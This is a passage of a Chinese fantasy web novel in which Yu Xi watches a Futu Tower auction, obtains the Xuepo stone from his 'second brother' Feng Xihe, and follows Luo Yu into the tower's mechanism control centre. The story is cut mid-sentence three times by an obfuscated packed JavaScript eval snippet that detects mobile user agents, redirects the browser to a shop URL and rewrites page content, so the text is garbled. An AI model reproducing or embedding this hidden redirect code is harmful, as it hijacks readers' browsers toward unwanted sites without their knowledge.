看懂了九十九层的格局图,很容易就能以此类推。 除了几个主尊位,还有许多零散的房间,如同宇宙星图,有其重要的主星位,自然也有许多漫天散星,不容忽视。 鄢尘离瞥了一眼,在其中一个位置多停留了几分,“一些不想为外人知道他们来过的。” 不是所有房间都像他们一样大敞着三面空窗,许多房间看不到内里。 “那你说,这里是不是所有人都收到了那封信?”羽熹看向男人,鄢尘离算得上是有问必答,让羽熹都觉得奇怪,于是抓住机会把所有疑问都解决了。 “自然不是,我就没有收到。” “……”羽熹想问那你怎么知道内容,眸光一敛,并未问出口,只是疑惑,“为什么?” “因为我根本不需要那些东西。” 羽熹:“……” 九十九层这个格局,映射了修真界如今的格局,能看明白的,必得是局内之人。 鄢尘离既没收到信,也并未提前知道浮屠塔会如此安排位置,却对今夜的形式了如指掌。 羽熹不仅产生了怀疑。 拍卖会上既没有他要的东西,那他来此的目的究竟是什么? 鄢尘离轻轻拢了拢他的腰,“宝宝,为夫再跟你说个有趣的。” 羽熹天生好奇,闻言坐直了些,竟然忘记纠正鄢尘离话语中的称谓,“什么?” “修真界如今这个局势,是在十七年前形成的,十七年前,一切可不是这个样。” 十七年,又是这个时间点。 羽熹敏锐的觉得,应该跟某个他听了好多次的人有关,“因为谢乔?” 鄢尘离意味深长地一笑,“现在,朱雀骨现世,谢乔改变十四州的两种禁术出现,或许今天之后,十四州的局势会再次发生巨变。” 男人嗓音低低的,勾着调儿,像在说情话,却让羽熹后背一凉。 再一回看此刻繁华如梦的九十九层,仿佛罗刹海漆黑如墨的海面,面上是风平浪静,底下却早已暗潮汹涌。 33.朱雀骨8 十七年前到底发生了什么? 羽熹不禁再次琢磨这个问题,一切的一切似乎都跟那个谢乔有关,他越来越好奇,鄢尘离这个短命的徒弟,到底是何许人物。 究竟谢乔又做了什么,会让他这个师尊,亲手处决掉自己唯一的徒弟。 钟声再一次响起,水榭歌台的舞姬卷着袖退场,星图一般错综的壁上雅间细细地调整主窗方位,对准九十九层中心逐渐升起的高台。 一位身着玄色长袍的青栩徐徐上台,他垂着头,面孔被兜帽挡了一半,只能看见尖削的下巴和薄唇缓缓张开,“诸位贵客莅临,荣幸之至,在拍卖开始前,按照老规矩,每个房间将拉上帷幕,打乱所有坐席位置。” 话音一落,整个九十九层贵宾坐席的机关启动,先是有一层极其薄透的月华色轻纱从三面空窗落下,将雅间遮挡住,从里往外看丝毫不遮挡视线,却无法从外窥探里面半分。 遮上帷幕后,所有方形隔间开始打乱位置不断变换,羽熹才记清了位置图,现在又被打乱,连房间上印刻的卦象图都被隐匿,彻底分不清谁是谁了。 “这浮屠塔想得倒挺周到,匿名拍卖,省得后面有麻烦。” 羽熹嘀咕几句,轻飘飘地从鄢尘离身上下来,鄢尘离怀中陡然一空,揽着少年腰的手还维持着,仿佛还没抱够。 纱帐外浮光变换,一炷香时间后落定,他们这间房已经完全换了个方位,但视野依旧好,正对着中心拍卖台。 青栩话不多,直奔今夜主题,羽熹在一阵窸窣的躁动中,注意到看台中心似乎开启了一道缝,缝隙越来越大,几个黑袍青栩从看台下方升上来,中间押着一尊漆黑的鼎。 “今晚第一件拍品,太阴鼎,起拍价,十万白灵璧。” 入座前,青栩已经告知过所有人拍卖的规则,此时便不话多,亦不对拍品做介绍,话音一落,四面八方响起了此起彼伏的铃音。 青栩耳目灵聪,头也不抬便能分辨方位,记录竞价。 羽熹的目标只有一个,并未参与这开场激烈的竞争,但也没闲着,满面愁容地左右来回踱步。 想过贵,没想过这么贵。第一件拍品就已经高达十万白灵璧,而且这还只是起拍价,那他的雪魄石只会更贵。 早知道鄢尘离给他那座白灵璧山就先不吃了,如今兜里只剩寥寥几十个白灵璧,可真是连竞价的资格都没有。 鄢尘离似乎是看穿了他在愁什么,支着颐声音慵懒,“浮屠塔拍卖还有一个隐藏规则。” “什么隐藏规则?” 少年几步朝他走来,带来一阵甜香。鄢尘离似乎格外喜欢他身上的味道,忍不住把人拉近了些,道:“虽是以灵石竞价,最终得主却并非一定要以灵石支付。” “可我从东州列岛到西境罗刹海,一路所到的地方,都是用灵石交易啊?” 经过鄢尘离方才对修真界格局的一番解析,他以为自己已经差不多算了解凡修界了,但现在拍卖一开始,他发现自己知道的还是太少。 “自然,灵石是最基础的。”鄢尘离笑笑,“但说到底不过是以物易物,等价交换,若是无法支付最终竞拍价的灵石数量,可拿出同等价值的东西交换。” “比如呢?” “比如,”鄢尘离指了指羽熹身上,从头到脚都点了点,“你比较值钱,龙角,龙鳞,龙筋龙骨龙血内丹,每一寸肌肤都可以作为交换,甚至绰绰有余。” 羽熹并不意外鄢尘离能看透他的真身,也听懂了他的提醒。 九十九层鱼龙混杂,没人知道这皎白月纱后头,坐的究竟是人是鬼。 他自阴墟化龙出世那一刻开始,一路就已经遇到过不少打他主意的人,因有问天阙及鄢尘离在,他才没陷入险境,如今出了问天阙,又是在魑魅魍魉云集的罗刹海市,他先前的所作所为,实在有些高调了。 鄢尘离:“害怕了?” “我怕什么?”羽熹冲着他笑了笑,眼底不乏狡黠,“无相大人名头这么好使,谁敢对我如何?除非惦记我的人是你。” 说完发现这句话似有歧义,羽熹立马闭嘴了,搓了搓脸,背过身去假装刚才无人说话。 鄢尘离愣了愣,随即笑了。 小滑头。 羽熹站在月华纱旁,叉着腰旁观四周。 第一场竞争没持续多久,太阴鼎最终被他西南方向的一间房拍下,从那房间响铃的频繁度来看,对太阴鼎是势在必得。 “难道是风羲和?”羽熹猜测。 浮屠塔门前有人说过,天在水风氏以炼器为主,芳草堂那么多稀奇古怪的法器,都是风氏一族自己造的,极有可能会拿下太阴鼎。 太阴鼎被送走后,青栩接着拿出了第二件拍品。 顺序和昨天公示的一样,第二件拍品正是雪魄石。 羽熹正色起来,凝神观察放置在一尊透明晶石台座中心的宝石。 那是一块鸡蛋大小的墨绿色晶体,通体像是长满鳞片一般,折射出绮丽瑰幻的色彩,仅仅只是摆在那里,就仿佛在散发一种冷冽又神秘的气息。 雪魄石只用指甲盖大小一颗,便可作为修士筑基的护持,每大一圈,其效果翻倍,现场这颗的大小,已经足够作为结婴之基。 “雪魄石,起拍价,十万白灵璧。” 羽熹不意外,默默关注叫价,却发现这一次竞争却不如太阴鼎激烈。 “雪魄石出自极寒之狱,属性极水极阴,并非所有人都能用,你想要?” 鄢尘离依旧懒懒靠在软榻上,单手举着没看完的“龙蛋饲养手册”看得津津有味,余光却也没遗漏羽熹任何一个动作。 “那正好。” 羽熹指尖绕了绕,敲响了挂在旁侧的金铃。 他这处刚响了铃,就听见外面好几道铃声竞先响起,羽熹也不让,敲铃跟小孩儿摇拨浪鼓似的。 鄢尘离翻了一页,调侃道:“十万白灵璧起拍,若真成交了,你打算用什么换?你百宝袋里那三瓜俩枣吗?” 羽熹没好气地瞥他一眼,忍住不跟他斗嘴。 这毕竟是拿来跟鄢尘离做交易的东西,自然是得自己解决交易价的事,他虽暂时没个想法,手上却没落下,不停地摇铃。 旁人也看出这间房的执着,几个来回过来,铃声的方位少了,只剩下西南方向还跟他较着劲。 “还是那个房间。”羽熹看向那边,很容易分辨,铃声传出来的地方,就是刚才拍下太阴鼎的那间。 “这人是来进货的么?怎么什么都要。”羽熹摇到最后已经没了底气。 眼看着价格被越摇越可怕,他不禁想,最后要真让他拍到了,他是不是得把自己龙角掰下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995312|193610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来才能换? 想想掰龙角的情形,应该很痛。 羽熹怕痛,被自己的想象吓得一激灵,捂着龙角位置出神。 就这一个恍惚,他已经出局,西南方向那个平平无奇的房间再次拍下第二件拍品。 没得到雪魄石,羽熹对之后的拍品已经不感兴趣,垂头丧气地在屋子里走来走去。 鄢尘离依旧从容慵懒,目光从左往右扫书,头也不抬,“落锤并非交易的结束,你若想要,有的是办法。” “你有什么办法?” “自然是抢过来。” “……” 鄢尘离说这话时不假思索的语气,哪里有半点修真界敬畏的正道之尊无相大人的样子。 他丝毫不觉得有问题,再次启唇:“想让我告诉你那间房里是谁么?” “不用你告诉我,我可以算出来是谁。” 羽熹走到榻边寻了个位置盘腿坐下,鄢尘离换了个姿势,以为他有开天眼预演未知的本事,不禁起了兴趣,撑起身子,微微俯身往少年身边靠了靠,撑着下巴看着他。 少年却并未如他所想掐指演算天机,只是静静地坐着。 羽熹闭上眼,清灵台除杂念,开始冥想。 月华纱帐外,喧嚷不断,青栩高声喊价,四面八方金铃纷乱,分辨不清来源的声音和无数窃窃私语都被放大,在羽熹脑海中一幕幕开始倒退。 此刻,识海中没有什么万龙冢,而是一座洞窟,墙壁上星罗棋布着无数房间,在毫无规律地变换位置。 羽熹以“乾为天”为中心,在脑海中慢速重演了一遍整个九十九层房间移换的动作,蜂巢一般的小格子退至墙后,又从另一个洞中伸出,不断旋转位移。 浮屠塔在移换位置时,特地模糊了楼中光线,给每个房间周围套上一层轻云似的薄雾罩,一切都变得朦胧迷离,如雾中风雪,水中楼阙。 他视线追随在这场乱花迷人的变换中,不放过任何一个细节,直至将错综复杂的九十九层格局完美复原,最终尘埃落定。 少年睫羽一动,倏地睁开眼,轻轻走到月华纱帐边,目光落在西南方向的房间。 “我果然没猜错,那个房间,正是山风蛊,风羲和。” 从他闭目开始演算时,鄢尘离看向他的目光就不一样起来,专注又炙热。 “如何,你要去找他?” 少年确认后,一句废话也没有,转身就走。 “你打算怎么做?硬抢?”鄢尘离收起手册,似乎是打算跟上去。 “硬抢多不礼貌啊。”羽熹拦住他,把他推回了卧榻,还伸手在他胸口拍了拍,“我直接去要。” 鄢尘离:“……” “你在这儿坐着等我,别跟来哦。” 鄢尘离目光追着少年直把他送出门外,才低头看了看少年方才触碰的地方,嘴角扬了扬,起身走到窗边。 只这几步路的距离,男人周身气质却发生了巨大变化。 鄢尘离蹙着眉闭了闭眼,再次睁开时,赤色的眼双瞳逐渐加深,落成漆黑如渊的墨色,眼神里那点邪辟乖张消失无踪,转为冰霜一般的冷彻。 他似有所感地回头,却好似什么都想不起来,低低地看着手上因缘笔牵的红线,默默勾着他的指尖,一路连接到房门外,拐了个弯通向不知名的地方。 34.朱雀骨9 羽熹确定买走雪魄石的人就是风羲和后便准备去会会他。 从壁梯往下一层,按着脑海中的方位绕到乾为天的西南方向。 但令他没想到的是,原本房门一侧标刻的卦象图也被隐匿了,眼前房间错乱,若是从乾为天窗户看,尚能确定是哪个房间,但一走过来,方位一乱,每个房间外面的布景一模一样,很难确定具体的位置。 要一个一个敲开看么? 羽熹走了几步,停在一个大致差不多的位置,准备来个“不经意”推门,人家若是怪罪,他就说自己走错了,赔礼道歉转身关门下一间。 没等他准备好擅闯,身后冷不丁响起一个声音。 “阁下可是在找‘山风蛊’?” 羽熹回头,见两个玄衣修士不知何时出现在他身后,看起来修为都不低,不然也不至于都快贴他身上了他都丝毫没察觉。 “你们是什么人?”羽熹警惕。 两个修士气质迥异,高个的皮肤黝黑,眼眸如星,姿态恭敬却不减傲气,“在下范碧山。” 旁边那个皮肤苍白身形清瘦,声音温和,“在下谢星黎,我家宗主说,若是碰见公子,便将公子请到‘山风蛊’。” 羽熹忽然想起了这两人,是东州芳草堂中,跟在风羲和身后的两名剑客。 “他知道我要找他?” 羽熹疑惑,难道风羲和也能推算出每个房间的位置,知道刚才是他在和他竞价? 谢星黎说:“宗主只是吩咐,公子有可能会来寻他,让我们在外等候,若是遇见,便请过去。” 羽熹点点头。 风羲和也是个眼观六路耳听八方之人,早就注意到他来了九十九层,却不动声色,只是派人在外等着。 他被带到了“山风蛊”,轮椅上的男人屏退房里的人,只留下范碧山和谢星黎两个心腹,才缓缓转过身来,“小六,你来了。” 范碧山抱着剑靠在门边,谢星黎则守在金铃旁,时刻留意着台下竞拍的情况,他人没动,旁边的金铃却响个不停,也不听一听价格,一有人摇铃他就跟着摇。 “……”果然是来进货的。 “不记得我了吗?”风羲和声音和他疏离的气质不同,如同三月的和风一般。 他朝少年伸出手,“过来,我看看。” 羽熹知道此人是风小六的二哥,心底也有一股没来由的亲切。 风小六虽傻傻的,却有很多人关心他。 真好。 “六年未见,你都长这么高了。”轮椅上的男人笑意温和。 见少年看着他有些发愣,眸中黯淡的光稍纵即逝,“果真不认识我了?也是,当年送你离开时,你不过十岁,我曾听云世伯提起,你初到北原水土不服,曾大病一场,醒来后什么都忘了,我当时想,忘了也好,东州情势复杂,说不定哪天,整个风氏都没了,倒不如让你忘了所有,换个地方好好生活。” “二哥也不强求你一定要回来,只希望你还记得我。”他把少年拉到身边,伸手在他头上摸了摸,掌心顺着向下,在他脸颊抚了抚,“小六长大果然是个美人。” 羽熹下意识躲了躲。 他不习惯别人碰他。 “你是在怪我,为什么这么多年都没有把你接回东州吗?”风羲和收回手,放在膝上。 “那倒不是。”羽熹开口说了第一句话。 他只是不明白,既然风羲和记得他,为何那日在芳草堂见到他却装作不认识? 风羲和玲珑心窍,看穿了他的想法,“那日芳草堂一见我便认出了你,但当时情况特殊,我身边并不安全,便没有和你相认,东州的情况很特殊,日后有机会,我会慢慢告诉你。” “来,小六,你小时候喜欢吃这种冰皮桃酥,我特地让青栩做的,尝尝。” 羽熹人生三大爱好。 吃好吃的东西。 睡完美的觉。 和聿明打架赢过他。 这冰皮桃酥小小一个可爱得紧,被捏成花朵形状,中间的桃馅儿漏出来一些,如同花蕊,外皮薄透酥脆如花瓣,还透着一股奶香,色香味都入他眼,便当做认了风羲和的解释,捏起来咬了一口。 “好吃吗?”风羲和见他吃了,眼中立马升起笑意,又把其他的菜都推到他面前,每样替他夹了些。 “慢点吃,喝口油酥茶。” 羽熹被投喂得很满意,咽下一口,不经意问道,“二哥,你不好奇我为什么会在这里吗?” “好多年没听你唤我二哥了,”风羲和替他别了别而旁的碎发,“小六高兴,便说给二哥听听?” 羽熹看了他一眼,“那么二哥便是知道了。” 风羲和爽朗一笑,“是,你跟在无相大人身边,很难不引起人注意。” 羽熹意思意思把盘中的菜吃完,便正色起来,“二哥,我找你是有事相求。” “那太好了。”风羲和道:“但说无妨,就算我做不到,也会想尽办法给你办好。” 他急欲弥补的心完完全全显露在眼神里,几乎快要让羽熹无所适从,防备心渐渐放下一些,“雪魄石是不是被你拍走了?我需要这个东西,算我欠你个人情,以后会还你的。” “碧山。”风羲和唤了一声,门口的范碧山闻声,将方才青栩送来的盒子拿过来,放下后又退回了门口。 风羲和什么也不问,直接将盒子打开,推到羽熹面前。 “……” 羽熹张了张嘴,后面的话都被对方的爽快堵了回去。 “还有什么想要的?”风羲和指了指窗外,“或者是,今天的拍卖会上,可有你想要的?” “……我只想要这个?” 羽熹全是体会到了什么叫十四州财力第一。 “那真遗憾,今夜的人都奔着朱雀骨而来,我虽无意朱雀骨,可若是你想要,二哥也可以为你买下来。” 羽熹反问:“你不要朱雀骨吗?” 风羲和摇头,“这个东西,好买,却不好带走,没必要。” 两人说话的空隙,青栩又敲了两次门,把谢星黎代替主子买下来的东西送了进来。 财力雄厚啊~ 羽熹心里“啧”道。 “宗主,我们要的东西齐了,下一件是朱雀骨。”守在金铃旁的谢星黎走过来提醒道。 风羲和点头,将那枚墨绿色的“鸡蛋”放在少年手心,道:“小六,此处不宜久留,我们该走了,你可要随我回去?” 范碧山谢星黎飞速整理拍卖得来的东西,随时准备离开,一副一点儿也不想搅和进接下来的这趟浑水中的样子。 “我不走。”羽熹摇头,他还有事没做完。 况且他终究不是风小六,即便是没有鄢尘离,也不会跟他回东州。 他握了握手中冰凉刺骨的雪魄石,有些不知道说什么。 他一向不擅长处理这种感情上的事。 “没事,毕竟是我把你送出天在水多年,你有自己的事要做,我虽是你二哥,也不能强迫你跟我回去。” 他小声提醒道:“我会在码头为你留一艘飞艎,若是发现情况不对,尽早离开,去吧。” 羽熹点头,收好雪魄石转身,走到门口时,风羲和叫住了他。 “小六。” 羽熹回头。 风羲和端坐在轮椅上,背着光看不清表情,温和的声音低了几分,“你记得, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998364|193610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我亏欠你。” 门被合上,羽熹没明白他的意思,但雪魄石到手,他没想那么多,先回去解决鄢尘离的事。 循着记忆原路返回时,他听见回廊下拍卖台的青栩敲了一声铃,喊出了今晚最后一件拍品。 “朱雀骨”三个字一落,他感觉到周围这些大门紧闭的房间,似乎都开始躁动起来,唯有转角后那间“山风蛊”静悄悄的,里面的人已经推着轮椅离开。 他停下脚步倚在栏杆处,投眼看向下方,见那高台中间打开一个暗门,徐徐升上一座方台,方台四个角拉着锁链,锁链汇聚在中心,紧紧绑缚在一处。 方台上空悬着一条和洛羽手中的骨刀极其相似的完整脊骨,脊骨妖气四溢,被人用锁链封印,即便如此,也依旧散出妖异的气场。 “朱雀骨,起拍价,五十万白灵璧。” 这次的青栩声音空灵,是个女人。 纤细的声音落地,金铃之声如潮水般从四面八方涌来,她只是静静地立在原地,丝毫不乱,手中捏着一只玉竹笔,精准点画着每个买主的叫价,黑袍飘逸,翩翩若舞。 浮屠塔虽不属于九洲盟,独立与十四州所有宗门,实力却是深不可测,一旦落锤定音,得拍者就必须支付拍卖价,哪怕是把命留下,也不能悔拍。 羽熹作为旁观者,抱着臂事不关己地靠墙,啧啧摇头。 这铃声听得他头都痛了,他逐渐没了兴趣,打算回去找鄢尘离。 所有人的注意力都在台下那锁链封住的朱雀骨上,羽熹只看了一眼便没再更多关注,转身的一瞬间,却错眼看见同层楼对面的长廊上,略过一个人影。 那身形和侧脸十分的熟悉,是洛羽! 他不知从哪儿弄了一件青栩的黑袍披在身上,鬼影儿似的飘了过去。 羽熹看了眼朱雀骨下面层层把守的青栩,心道不好。 他不会是要下去硬抢吧? 羽熹立即调转脚步,没上那层楼梯,朝相对方向快步追上黑影。 他平时很少这样奔命似的跑,累得他骨头都酸酸的,好不容易快追上那黑影,却见他脚步一转,竟然上了楼,往离开九十九层的通道跑过去了。 羽熹纳闷。 这秃毛的走地鸡到底要干什么? 此时门口无人把手,羽熹追了出去,很快又回到了九十八层满是镜子碎片的空间。 此处空旷,除了栈桥就是中心那根二十围的大“支柱”。 羽熹落后一截跟在洛羽身后,正要喊他的名字,却发现他停在了那根漆黑的支柱前。 他羽熹下意识噤声,想看看他要做什么。 黑色斗篷下,洛羽伸出一双手贴在黑柱上,没什么规律地滑动几下,下一瞬,那黑柱表面泛起了一层微蒙蒙的光,水波似得荡了荡,接着出现几条横平竖直的金线,慢慢组成复杂的图案。 “这里竟然是一扇门?” 羽熹看出那图案,应该是打开门的关键。 奇怪了,洛羽不是说他作为低等级的白鸦,从没上过九十九层么? 可洛羽此时的行为,明显在昭示着他说谎了。 羽熹退后一步,隐藏在黑暗中,看准时机,等洛羽一打开门,便一跃而起飞过去,压着那飞快缩小的“门”闯了过去。 跨过那扇门,四周一片浓墨般的黑,几乎不可视物,只能凭声音分辨哪里能走。 羽熹侧耳聆听,周围尽是一种微小的机关转动的声音。 难道这里就是浮屠塔的中心? 浮屠塔外侧几十米范围内都是结界,连一阶楼梯都是机关操纵,必有一个控制中心,藏着所有机关的关窍。 那么洛羽是要来找什么? 35.朱雀骨10 羽熹放轻自己的脚步,周围有细微的机械声,伴随着灵脉波动传入耳中,除此之外,再没有任何其他人的动静,可分明洛羽和他就是前后脚进来。 难不成那扇门上也有机关,虽是从同一处进,但最终落到哪里都不一定? 羽熹随手从身上摸出一个发光体照明,雪魄石在黑暗中更加光彩夺目,碧色的光居然可以穿透这里的黑暗,只是氛围更加诡异了。 “洛羽?” 四周什么都没有,他试探性地喊了两声,四面八方立时传来回音。 声音折回时没有受到任何阻碍,这里很空旷,他走了一段路,连一扇墙都没碰到过,很快,周围渐渐有了一些乱糟糟的杂音。 “嗡嗡嗡……嗡嗡嗡……” 很难分辨到底是人还是什么东西,但似乎是从上方传来的。 羽熹举起手中的雪魄石,抬头往上看,还没看清什么,便觉头顶的发丝动了动,一阵疾风从上头落下。 仔细一看,那疾风裹着一层微微的赤色弧光,是什么东西极速和空气摩擦产生的火花。 与此同时,不知道这里哪个机关被触动,整个空间猝然放昼,光焰明炽,比瞎子忽然复明直视太阳还难受,羽熹眼前一黑。 就在他闭眼的瞬间,头顶的东西擦着他身边砸下来,在他肩膀狠狠地撞了一下,他整个人被撞开,手中的雪魄石也脱手掷了出去。 “砰”一声,地面被砸出一个坑,坑中间躺着一个托着火红翅膀,满口喷火星子的少年。 洛羽眼冒金星,疼得张大嘴巴吐了几口火焰,还没来得及闭上嘴巴,就有一个什么东西掉下来,刚好落在他口中,差点把他牙齿砸碎。 他下意识喷火焚烧这块异物,他的火焰带着一丝微弱的朱雀离火之力,普通凡物哪怕是快铁也能被瞬间融化。 但他嘴里不知道是个什么东西,碰上火焰的瞬间,竟然像是被吸住了一般,疯狂往他喉咙里钻。 他卡着脖子咽也不是吐也不是,坐起来用力锤了锤胸口,“咕咚”一个吞咽,把那东西吞了下去。 洛羽猛地咳嗽起来,却并不怎么在意,即便是没有立刻融化,进了他肚子也会被他体内的真气融掉,只是嗓子十分不适,声音都变得嘶哑。 “这什么玩意儿,难吃死了,咳咳咳……” “你干了什么?!” 等羽熹适应了光睁眼一看,看到他的雪魄石就这么生生被一口吞了,差点抽过气,大喊一声扑过去,抓住洛羽下巴伸手去抠他喉咙, “你他娘的给我吐出来!!!你知道我找这玩意儿费了多少功夫吗?!” “咳咳咳……你……你干什么……呕……”洛羽下意识推开他,看清是羽熹,莫名其妙松了些力道,反而被羽熹扑倒在地。 “呕呕呕别抠了,早就融了呕……” 羽熹:“………………” 他大脑空白一瞬,有那么一瞬,他想把这只死鸟肚子剖开。 他并不相信雪魄石会这样轻易被融化,便将洛羽摁在地上,掌心划过他喉咙往胃部探去,神识扫过内府,果然已经不见了那颗“鸡蛋”,只有一股被化开的极寒之力,和朱雀离火的力量激烈交锋。 “啊啊啊啊!”后知后觉涌上痛意,洛羽疼得脸色煞白,捂着肚子扭来扭去,“这是什么玩意儿,我肚子好痛。” 羽熹脸色很沉。 水火不相容,极寒真气进入洛羽火相灵脉,自然会产生极其爆裂的排异反应,最终谁压过谁,就要看哪股力量更狠了。 修士不会选择与自己属性相反的灵物修炼,否则会被反噬,当然也有铤而走险的。 不是被吞噬,就是更上一层楼。 这反倒成了洛羽的机缘,羽熹一个头两个大,咬牙切齿甩手,“你就受着吧。” 洛羽躺在坑里疼得死去活来,把自己蜷成一只虾,面庞扭曲地喊道:“你别坐着,你倒是帮帮我啊啊啊啊啊啊啊啊!” 回音密布洛羽痛苦的叫喊声,从此面八方砸向羽熹耳朵。 “……” 羽熹被喊得心烦,本来懒得理他,但一想到此处机关重重,凭他一个人很难走出去,这时候不能让洛羽死了,便不情不愿坐下来,双手一合一转,在洛羽丹田处注入灵力,镇压安抚他体内那股横冲直撞的极寒真气。 洛羽浑身疼得发颤,很快感觉到一股温润如灵泉一般的力量在他灵脉中游走,分明也是水火不容,却并未被排斥,那股霸道的力量也在被引导着化入灵脉为他吸收。 他有气无力道:“没那么疼了,你看着是个花架子,没想到还有几分本事。” 羽熹皮笑肉不笑,“难怪朱雀要被贬,原来是鸟嘴淬了毒。” “……” 洛羽勉强坐了起来,运行真气调理体内的两道力量,勉强闭上了他尊贵的嘴巴。 羽熹此时烦躁得头发都炸了几根,好不容易弄到了雪魄石,竟然被这只走地鸡一口吃掉,他上哪儿去找第二颗?! 他叉着腰在这片漆黑的房间来回踱步,衣摆带起一阵阵焦躁的风。 不仅没了雪魄石,还被困在这么个古怪的地方,还不知有没有陷阱。 头顶再次传来一阵骚动声,这次变得更加清晰了一些,羽熹放出神识探听,听见是楼上拍卖会激烈报价争夺朱雀骨的声音。 朱雀骨? 他忽然想起来,鄢尘离说过,这朱雀骨不单单是仙根那么简单。 朱雀骨上还藏着谢乔创造的两种秘术。 ——逆灵转阳术和移换灵骨之法。 羽熹不禁眯起眼,心中思忖,若是没了雪魄石,他就没法要求鄢尘离收云方仪为徒。 可他想让云方仪拜入无相大人门下,除了满足他心愿,最重要的目的不就是帮他解决灵骨的事? “灵骨碎了,换一根不就好了。” 他自言自语嘀咕一声。 他缓缓看向正在打坐的洛羽,半蹲下去拍了拍他脸,“喂,你看到那些信上的内容了没?” 洛羽手掌推过丹田,渐渐压下了浑身几欲暴乱的真气,运行一个小周天,直至畅通无阻,才睁开眼,眼神微冷,“看见了,你想干什么?” “自然是观摩一下鼎鼎大名谢真人在上头写了什么。”羽熹打着商量的语气,“不如这样,我们合作,把朱雀骨抢回来,等我看完上面的东西就物归原主?” 洛羽起身,走到房间边缘机关墙边,窸窣摸索什么,想也没想,“不可能,等我拿到朱雀骨,我会把上面写的东西全部销毁。” 羽熹抱着手,轻飘飘道:“你就没想过你父亲为何要将这两种秘术留下?” 空旷的房间落针可闻,羽熹的话掷地有声,果然让洛羽动作一顿,他压了压眉,决绝道:“那我也不会让你们修真界的任何人得到。” 洛羽摸到一处地方,摁下机关,墙面顿时出现了变化,从里突出来一些东西,层次错落,暗暗流光。 羽熹走过去一看,感受到无数法脉集中在此流动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006889|193610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “这里果然是浮屠塔机关阵法布控中心,你要做什么?” 洛羽不语,手掌缓缓抚过控制台,指尖拨弄法脉纹路,下一瞬,房间里嘈杂的声音忽然变大。 羽熹抬头一看,周围没什么变化,只是九十九层的声音更加清晰了。 “铃铃铃——” “铃铃铃——” 熟悉的金铃声在这间房间回荡,青栩的声音无比清晰,“九百万,九百五十,一千万……” 价格还在飙升,洛羽手上也没有停,继续拨弄法脉。 羽熹分了点目光过去,冷冷道:“你不是从没上过九十九层么,怎会对这里如此熟悉?” 洛羽并不惭愧,理所当然道,“你隐瞒了你和鄢尘离的道侣身份,我又凭什么要跟你说实话?” 他说完,又有一机关被拨动,周围光线缓缓暗下去,空荡的四壁和穹顶却亮起了星星点点的红光。 金铃声一响,某一个红点就亮一下。 羽熹看明白,“这是九十九层所有房间的位置?” 所有的红点汇聚在上空,仔细看就会发现,其位置格局,都和他在九十九层看到的无异。 “你是要看最终是哪个房间买下了朱雀骨?” 洛羽轻嗤一声,“房间早就被打乱,知道是哪个位置没有用。况且,朱雀骨不会直接送到买主房间,而是会在交易成功后,由青栩直接从浮图塔中心的暗梯送走,秘密交到买主手上。” 羽熹不解,“你连人家法脉中心都能找到,为何不直接在暗梯劫堵?” 洛羽飞舞的手指顿住,扭过头指了指他,又指着自己,“硬抢?就凭我们两个?” “……” 羽熹尴尬地摸了摸鼻子,再一次忘记自己现在几斤斤两,从前在天界他那霸道小龙君的行为方式已经行不通啦。 他目光默默追随此起彼伏亮灯的位置,脚下挪了几步,移到了“乾为天”的位置,九十九层位置图再次浮现脑海。 “山风蛊”的风羲和走了,那处再也没亮过灯,这一场叫价十分激烈,但也不难看出,摇铃最多的,是一个散星位。 鄢尘离把所有主位都给他介绍了一番,却唯独没有说这些散星位里究竟坐了何人。 “有能力买下朱雀骨,你即便知道了是谁,凭一己之力也难夺回来。”羽熹不再看头顶,转而面向洛羽,“所以,你真正的打算究竟是什么?” 话落的同时,耳边嘈杂的金铃声也渐渐停了。 原本势在必得的那些主尊位和附属,竟然都松了手,不再竞争。 漫天星空,只剩一个位置亮起红芒。青栩重复三声最后的价格,清脆的声音突兀地响起。 ——裂笔落锤,买主已定。 洛羽不知为何笑了起来,他找到一处闪着白光的法脉,将手掌悬在上空。 “三千万白灵璧不算一个很高的价格,那些主座位的哪家付不起?你知道他们为什么不去竞争了吗?因为这不是结束。” 他手掌毫不犹豫地拍在白色摁钮上,夺目的光焰亮起来,映得他五官褪色。 “总要有一个人先暂时性地拿下朱雀骨,至于最后会到谁手里,都还没定。一切才刚开始。” 机关被拨动,他们所在的地方没有任何变化,显然是针对九十九层的。虽然看不到上面究竟发生了什么,却能从上空的动静猜出个七八。 羽熹眸光一暗,“你是要搅浑这趟水,让浮屠塔彻底乱起来,好趁火打劫?” 37.小遗憾 黑衣人目标明确,干净利落,连一句废话都没有。 剑击出去的瞬间,法脉中心狠狠一震。 